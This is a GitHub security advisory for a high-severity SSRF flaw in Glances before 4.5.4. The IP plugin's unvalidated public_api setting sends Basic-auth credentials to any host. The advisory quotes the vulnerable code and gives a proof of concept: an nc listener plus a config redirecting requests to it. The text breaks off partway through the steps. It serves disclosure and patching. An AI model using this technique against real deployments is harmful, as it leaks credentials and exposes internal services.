GitHub Security Advisory: GHSA-g5pq-48mj-jvw8
Package: glances (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 4.5.4
Patched in: 4.5.4

Summary: Glances has SSRF in IP Plugin via public_api leading to credential leakage

Details:
### Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.

An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.

This vulnerability can be exploited to:

Access internal network services (e.g., 127.0.0.1, 192.168.x.x)
Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254)
Exfiltrate credentials via outbound HTTP requests

The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.

### Details
The vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.

**Root Cause**
In glances/plugins/ip/__init__.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:

```
self.public_api = self.get_conf_value("public_api", default=[None])[0]

self.public_ip_thread = ThreadPublicIpAddress(
    url=self.public_api,
    username=self.public_username,
    password=self.public_password,
    refresh_interval=self.public_address_refresh_interval,
)
```

There is no validation performed on:
- URL scheme (e.g., http, https, file)
- Hostname or resolved IP address
- Internal or restricted IP ranges
- Unsafe HTTP Request Handling

The request is executed via urlopen_auth() in glances/globals.py:

```
def urlopen_auth(url, username, password, timeout=3):
    return urlopen(
        Request(
            url,
            headers={
                'Authorization': 'Basic ' +
                base64.b64encode(f'{username}:{password}'.encode()).decode()
            },
        ),
        timeout=timeout,
    )
```

This function:
- Accepts any URL passed to it
- Automatically attaches a Basic Authorization header
- Does not enforce any restrictions on destination

### PoC
SSRF via public_api (Glances IP Plugin)
Prerequisites
Glances installed
Two terminals
**Step 1**  Start listener (Terminal 1)
`
nc -lvnp 9999
`

**Step 2**  Create malicious config (Terminal 2)
`
mkdir -p ~/.config/glances
`

`
cat > ~/.config/glances/glances.conf << 'EOF'
[ip]
public_disabled=False
public_api=http://127.0.0.1:9999/ssrf-poc
public_username=apiuser
public_[CREDENTIAL_REDACTED]
EOF
`

**Step 3**  Start Glances
glances --webserver
**Step 4** Obs